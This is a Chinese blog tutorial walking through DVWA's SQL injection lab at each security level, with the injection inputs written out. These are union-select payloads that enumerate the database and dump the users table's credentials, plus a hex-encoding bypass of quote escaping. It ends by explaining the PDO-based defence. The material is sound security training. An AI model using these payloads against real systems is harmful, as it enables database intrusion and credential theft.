DVWA全级别之SQL Injection(SQL注入)

时间:2022-09-08 00:00:53

DVWA全级别之SQL Injection注入

 

DVWA简介

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

DVWA共有十个模块,分别是

Brute Force(暴力(破解))

Command Injection(命令行注入)

CSRF(跨站请求伪造)

File Inclusion(文件包含)

File Upload(文件上传)

Insecure CAPTCHA (不安全的验证码)

SQL Injection(SQL注入)

SQL Injection(Blind)(SQL盲注)

XSS(Reflected)(反射型跨站脚本)

XSS(Stored)(存储型跨站脚本)

今天我们来学习SQL Injection(SQL注入)

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。

手工注入非盲注步骤分析

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

Low

首先打开dvwa,将等级改为low;

DVWA全级别之SQL Injection(SQL注入)

查看服务器端核心代码

 DVWA全级别之SQL Injection(SQL注入)

可以看到,Low级别的代码对来自客户端的参数id没有进行任何的检查与过滤,存在明显的SQL注入。

判断是否存在注入,注入是字符型还是数字型

输入1 查询成功;

DVWA全级别之SQL Injection(SQL注入)

输入1’ and  ‘1’=’2  查询失败,返回结果为空;

DVWA全级别之SQL Injection(SQL注入)

猜解SQL查询语句中的字段数,输入:1' or 1=1 order by #  查询成功;

DVWA全级别之SQL Injection(SQL注入)

1' or 1=1 order by 2#  查询成功;

DVWA全级别之SQL Injection(SQL注入)

1' or 1=1 order by 3#  查询失败;

DVWA全级别之SQL Injection(SQL注入)

说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。(这里也可以通过输入union select 1,2,3…来猜解字段数)

确定显示的字段顺序输入1′ union select 1,2 #,查询成功

DVWA全级别之SQL Injection(SQL注入)

说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…

获取当前数据库,输入 1' union select 1,database() #  查询成功,当前数据库为dvwa;

DVWA全级别之SQL Injection(SQL注入)

获取数据库中的表,输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

DVWA全级别之SQL Injection(SQL注入)

获取表中的字段名,输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' #

DVWA全级别之SQL Injection(SQL注入)

查询users表中所有用户的数据,输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

DVWA全级别之SQL Injection(SQL注入)

Medium

中级加入了一些防御,不让用户输入,只提供选择(可用burpsuit抓包来绕过)

查看服务器端核心代码;

DVWA全级别之SQL Injection(SQL注入)

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号

\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

DVWA全级别之SQL Injection(SQL注入)

通过burpsuit抓包,修改数据包,绕过防御。判断注入点,以及注入的类型;

输入 1 and 1=1# 查询,存在数字型注入;

DVWA全级别之SQL Injection(SQL注入)

猜解SQL查询语句中的字段数, 抓包更改参数id为 1 order by 2#  查询成功;

DVWA全级别之SQL Injection(SQL注入)

抓包更改参数id为 1 order by 3#   查询失败,说明查询语句中只有两个字段;

DVWA全级别之SQL Injection(SQL注入)

确定显示的字段顺序,抓包更改参数id为1 union select 1,2 # 查询成功;

DVWA全级别之SQL Injection(SQL注入)

获取当前数据库,抓包更改参数id为1 union select 1,database() #,查询成功;

DVWA全级别之SQL Injection(SQL注入)

获取数据库中的表,1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #查询成功;

DVWA全级别之SQL Injection(SQL注入)

获取表中的字段名,1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#  查询失败;

DVWA全级别之SQL Injection(SQL注入)

这是因为单引号被转义了,变成了\’。

可以利用16进制进行绕过,抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查询成功:

DVWA全级别之SQL Injection(SQL注入)

下载数据,抓包修改参数id为1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功;

DVWA全级别之SQL Injection(SQL注入)

High

查看服务器端核心代码,

DVWA全级别之SQL Injection(SQL注入)

可以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果,虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样,直接进行最后一步下载数据。

输入1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功;

DVWA全级别之SQL Injection(SQL注入)

DVWA全级别之SQL Injection(SQL注入)

High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

Impossible

查看服务器端核心代码,

DVWA全级别之SQL Injection(SQL注入)

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

DVWA全级别之SQL Injection(SQL注入)的更多相关文章

  1. Fortify Audit Workbench 笔记 SQL Injection SQL注入

    SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...

  2. DVWA全级别之Brute Force(暴力破解)

    Brute Force Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令. 首先我们登录DVWA(admin,password),之后我们看网络是否为无代理,: ...

  3. DVWA全级别之CSRF(跨站请求伪造)

    CSRF(Cross-site request forgery)  CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息( ...

  4. DVWA全级别之XSS(Reflected)、XSS(Stored)【跨站脚本攻击】

    XSS XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强 ...

  5. DVWA全级别之File Inclusion(文件包含)

    File Inclusion File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),req ...

  6. DVWA全级别之Insecure CAPTCHA(不安全的验证码)

    Insecure CAPTCHA Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell ...

  7. DVWA全级别之File Upload(文件上传)

    File Upload File Upload,即文件上传漏洞,通常是由于对上传文件的类型.内容没有进行严格的过滤.检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带 ...

  8. 新手指南:DVWA-1.9全级别教程之SQL Injection

    *本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...

  9. DVWA之SQL Injection

    SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...

随机推荐

  1. SQL谜题(楼层谜题)

    Multiple DwellingsBaker, Cooper, Fletcher, Miller and Smith live on different floors of an apartment ...

  2. viewport设置

    <meta name="viewport" content="width=device-width, initial-scale=1.0,user-scalable ...

  3. ajaxpro返回值类型总结-DataTable(转)

    ajaxpro使用总结系列其他内容 ajaxpro ajaxmethod 重载调用问题 ajaxpro方法ajaxmethod调用示例 ajaxpro返回值类型总结-string,int ajaxpr ...

  4. Codeforces Round &num;249 &lpar;Div&period; 2&rpar; A题

    链接:http://codeforces.com/contest/435/problem/A   A. Queue on Bus Stop time limit per test 1 second m ...

  5. Linux Shell脚本读写XML文件

    在Linux下如何用Shell脚本读写XML?现有一个config.xml <?xml version="1.0" encoding="UTF-8"?&g ...

  6. winform 猜猜看 分类: WinForm 2014-08-21 14&colon;12 267人阅读 评论&lpar;0&rpar; 收藏

    说明: 1>窗体应用程序. 2>一个窗体(Form1),一个按钮(btnStart),一个文本(labTime) 3>截图: 4>代码如下: using System; usi ...

  7. 如何用PC标签在列表页中调出文章内容 phpcms

    如何用PC标签在列表页中调出文章内容 phpcms v9 moreinfo=”"参数说明 {pc:content action="lists" catid="$ ...

  8. Servlet&amp&semi;JSP-HTTP服务器响应信息

    完整代码请参考:https://github.com/devway9/java-exercise/tree/master/servlet-jsp 目录 1 HTTP响应的格式 2 如何设置状态代码 3 ...

  9. LOJ1070&lpar;SummerTrainingDay05-B 矩阵快速幂&rpar;

    Algebraic Problem Given the value of a+b and ab you will have to find the value of an+bn. a and bnot ...

  10. Project Server2016升级安装问题项目中心无法显示

    sharepoint 2016升级后,project server 相关中心页面出现空白页面,这是是sharepoint2016一个bug,解决方案用PWA.resx内容替换PWA.en-us.res ...